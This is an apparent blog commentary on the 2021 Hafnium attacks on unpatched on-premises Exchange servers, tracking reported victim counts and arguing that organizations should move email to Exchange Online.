A Serious Worldwide Attack Against On-Premises Exchange
The news that Microsoft Exchange on-premises servers have been hacked before and following the disclosure of four flaws patched by updates released by Microsoft on March 2 creates a serious problem for organizations running on-premises Exchange. Apart from ongoing attacks, it seems that attackers are leaving behind a “web shell” to allow them to continue to have administrative access to servers.
KrebsOnSecurity.com, which reported the widespread infection of Exchange servers, doesn’t give a verifiable source for its claim that “At Least 30,000 U.S. Organizations Newly Hacked Via Holes in Microsoft’s Email Software.” Similar claims are made by TheVerge.com and Wired.com while Bloomberg doubles the estimated victims “to least 60,000 known victims globally.” In this instance, the cited authority is “a former senior U.S. official with knowledge of the investigation.” Clearly someone who keeps close track of Exchange on-premises servers.
The number of affected servers are educated guesses on the part of security researchers and other observers, possibly informed by running network traces to find vulnerable servers. There’s no way of keeping score of the exact number of Exchange servers or organizations penetrated by attackers. Even so, there’s no doubt that the problem exists and is very real. And it is a worldwide problem that isn’t unique to the U.S.
Here are how the experts combat Hafnium attacks and security flaws
A Developing Attack
Here are some updates gathered to track the development of attacks against Exchange servers. The underlining message is clear: unpatched servers are at immediate and imminent risk of compromise. In many cases, a China Chopper web shell is left on a server to allow attackers future access to the server.
Update March 8: Microsoft says that they “see multiple actors taking advantage of unpatched systems to attack organizations with on-premises Exchange Server.”
Update March 9: Palo Alto Networks estimate that there are “over 125,000 unpatched Exchange Servers.”
Update March 10: Wired.com reports that multiple groups of hackers are busily figuring out how to exploit Exchange server vulnerabilities, including hackers preparing to use Exchange servers to mine cryptocurrency. They also report that “public scans still show more than 10,000 Exchange servers that are vulnerable to attack” and note that at least one proof of concept of an attack is circulating (Figure 1).
Update March 11: ZDNet reports that multiple attacker groups are scanning for vulnerable Exchange servers with the intention of compromising the servers before administrators apply patches.
Update March 12: Check Point Software says that “the number of exploitation attempts […] doubled every two to three hours” and the countries most attacked are Turkey (19% of exploit attempts), the U.S. (18%) and Italy (10%). On March 15, the UK National Cyber Security Center (NCSC) said that over 3,000 Exchange servers used by UK organizations had still not been patched.
Update March 12: Bloomberg reports that large-scale attacks started on Exchange servers a week before Microsoft released patches on March 2. The theory is that a leak occurred somewhere (see below for a possible source) to warn the attackers that the gap they wanted to exploit was about to close.
Vulnerability Known Since January
According to security researchers, the exploit has been ongoing since early January with an uptick of activity since February 26 (see Bloomberg report cited above). Microsoft needed the time between the initial reports and March 2 to analyze the attack and prepare the security updates. On February 23, Microsoft shared a proof of concept for the attack with the partners in the Microsoft Active Protection Program (MAPP) to give security vendors a heads-up and prepare updates for anti-malware updates. Some suspicion exists that the attackers learned that Microsoft was working with partners and decided to ramp up their activity, which then exploded after Microsoft released its patches.
Since the news broke, Microsoft support has struggled to deal with the volume of customer queries. Microsoft has issued scripts, tools, and advice as the days passed (see our page reporting the release of the patches), but it would have been better to have this help lined up and available on March 2.
The critical nature of the problem is underlined by statements by the Microsoft Security Response Center that the available mitigations “are not a remediation if your Exchange servers have already been compromised, nor are they full protection against attack” and that actions will “not evict an adversary who has already compromised a server.”
The current situation is that if you have not updated servers and you allow OWA access from the internet, you run an extremely high risk of server compromise. I know of several companies who have patched and since discovered that servers still show signs of infection. In many cases, the only solution is a complete server rebuild from scratch (like this example reported by MVP Jaap Wesselius).
I consider the attack by Hafnium a wake-up call for those still running on-premises servers. It should provide the impetus for a push to move email from on-premises Exchange to Exchange Online. We’ve been on this road for a while and it’s time to get the job done.
Moving Exchange to the cloud began in 2005 but only became mainstream after the release of Office 365 in 2011. I spoke about the perils of moving to Exchange Online at the Exchange Conferences of 2012 and 2014. On-premises servers were still attractive in 2014 but the situation is very different now, both in terms of the threat to on-premises servers and our knowledge of what it’s like for companies to run email in the cloud.
According to data shared at the TEC 2020 conference, Exchange Online supports 5.5 billion mailboxes. That number seems enormous in the context of 250-odd monthly active Office 365 users, but more reasonable when you consider that the figure includes Outlook.com users (400 million switched over to use the Exchange Online infrastructure in 2017), shared mailboxes, group mailboxes, resource mailboxes, and a very large number of system mailboxes used by the Microsoft 365 substrate. Exchange Online is a massive online service running on 275,000 mailbox servers. The attack penetrated none of these servers.
Whatever the number of mailboxes running in Exchange Online is, there’s little doubt that most of the email processed by Exchange is now cloud-based. I doubt anyone knows exactly how many on-premises Exchange servers remain today. Microsoft could hazard a guess, but I think there would be plenty of wriggle room in the answer.
The Joys or Not of On-Premises Server Management
The crisis reminded me how much I had forgotten about running on-premises Exchange. And the reports of having to rebuild OWA virtual directories, of failed updates because of anti-virus products, and problems occurring because no one had applied .NET and C++ updates to servers for a while did not make me want to rekindle my experience. Email is a commodity service, and I am happy for Microsoft to do the heavy lifting for regular server maintenance.
But Exchange Online is not all happiness and light. Many administrators don’t like it when Microsoft imposes new restrictions, like when they clamped down on automatic mail forwarding in November 2020. The restrictions exist for a reason, but the loss of control can be irksome, as can dealing with Microsoft Support if the agent you speak with isn’t competent with email.
The point is that you don’t get to twiddle the knobs for a utility service. There’s plenty of administrative work to do, not least to keep up with the volume of changes Microsoft makes across Office 365, which means that you’ll use the time otherwise occupied by server upgrades better.
Microsoft Fails Hybrid Deployments
That is, unless you run a hybrid deployment and need an on-premises server to act as the link between Exchange Online and Active Directory. Despite raising hopes over several Ignite (in-person) conferences, Microsoft has failed to deliver a way to allow Active Directory act as the master for email settings on cloud mailboxes and remove the last on-premises server after all mailboxes run in the cloud. The result is that more on-premises hybrid servers exist today than should be necessary, and those servers need maintenance. Indeed, the current crisis has shown that some hybrid servers don’t get updates because “they don’t do a lot of work.” Leaving any server in an unmaintained state is not a good thing to do.
Three Reasons to Move Email to the Cloud
The bottom line is that if you can move email off on-premises Exchange to the cloud you should do so as quickly as you can. When I’m asked about this topic, I ask CIOs and CTOs to consider three points:
- The increasing sophistication of attack. This will continue. The attacks will be more serious and will consume more resources. The latest example underscores the point.
- Better protection is available in the cloud. Some organizations might be able to match the defenses erected and maintained by Microsoft, but most cannot. Moving workload to the cloud should encourage better user-level defense through multi-factor authentication, the elimination of basic authentication, and use of conditional access policies. For those worried about data privacy and security, an array of developments such as go-local datacenter regions, customer key protection for data at rest, sensitivity labels, and administrative controls like privileged access management and privileged identity management are available to help.
- More functionality is available in the cloud. Microsoft’s eyes have been on Exchange Online since they shipped Exchange 2010. Exchange Online is more functional than its on-premises counterpart, and it is a full participant in the Microsoft 365 ecosystem alongside SharePoint Online, OneDrive for Business, To Do, Teams, Planner, and Stream. In short, things have moved on from pure email.
Move. Don’t Delay
Some organizations can’t move or believe they can’t move email to the cloud. A lack of connectivity (a problem disappearing fast in many parts of the world) might be a constraint or a particular security regime. But then Hafnium comes along to prove that the security for tens of thousands of on-premises Exchange servers isn’t so good when put to the test by a nation state. As Microsoft CTO for Modern Workplace Jeffrey Snover asks (Figure 2), does it really make sense to run Exchange on-premises servers anymore?
It’s time to move Exchange to the cloud as quickly as possible before attackers discover and exploit the next set of vulnerabilities. This attack is regrettable, but organizations can rescue some benefit if they use the chaos as a wake-up call to examine just why they continue to run an on-premises email service. It might have been a good call to remain on-premises several years ago. It’s not now.